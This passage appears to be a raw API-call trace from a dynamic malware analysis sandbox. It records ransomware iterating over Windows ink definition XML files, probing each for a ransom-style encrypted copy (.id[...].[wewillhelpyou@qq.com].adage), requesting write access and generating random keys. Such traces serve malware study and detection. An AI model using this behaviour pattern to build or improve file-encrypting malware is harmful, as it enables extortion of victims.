(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.165] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.166] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=738) returned 1 [0055.166] CloseHandle (hObject=0x19c) returned 1 [0055.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0055.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.167] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.167] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=804) returned 1 [0055.167] CloseHandle (hObject=0x19c) returned 1 [0055.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0055.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.167] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.168] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=488) returned 1 [0055.168] CloseHandle (hObject=0x19c) returned 1 [0055.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0055.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.169] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.169] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=617) returned 1 [0055.169] CloseHandle (hObject=0x19c) returned 1 [0055.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0055.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.169] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.170] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.170] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.170] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=16616) returned 1 [0055.170] CloseHandle (hObject=0x19c) returned 1 [0055.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0055.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.171] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.171] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=15097) returned 1 [0055.171] CloseHandle (hObject=0x19c) returned 1 [0055.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0055.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.172] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.172] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=9803) returned 1 [0055.172] CloseHandle (hObject=0x19c) returned 1 [0055.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0055.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.173] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.173] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=11067) returned 1 [0055.173] CloseHandle (hObject=0x19c) returned 1 [0055.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0055.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.173] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.174] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=10947) returned 1 [0055.174] CloseHandle (hObject=0x19c) returned 1 [0055.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0055.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.175] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.175] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=38485) returned 1 [0055.175] CloseHandle (hObject=0x19c) returned 1 [0055.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0055.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.175] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.176] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1218) returned 1 [0055.176] CloseHandle (hObject=0x19c) returned 1 [0055.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml")) returned 0x20 [0055.176] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.176] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.177] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=209) returned 1 [0055.177] CloseHandle (hObject=0x19c) returned 1 [0055.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml")) returned 0x20 [0055.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.178] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.178] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=471) returned 1 [0055.178] CloseHandle (hObject=0x19c) returned 1 [0055.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0055.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.179] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.179] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=215) returned 1 [0055.179] CloseHandle (hObject=0x19c) returned 1 [0055.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0055.179] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.180] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.180] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1437) returned 1 [0055.180] CloseHandle (hObject=0x19c) returned 1 [0055.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0055.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.180] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.180] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0055.181] GetFileSizeEx (in: hFile=0x19c, 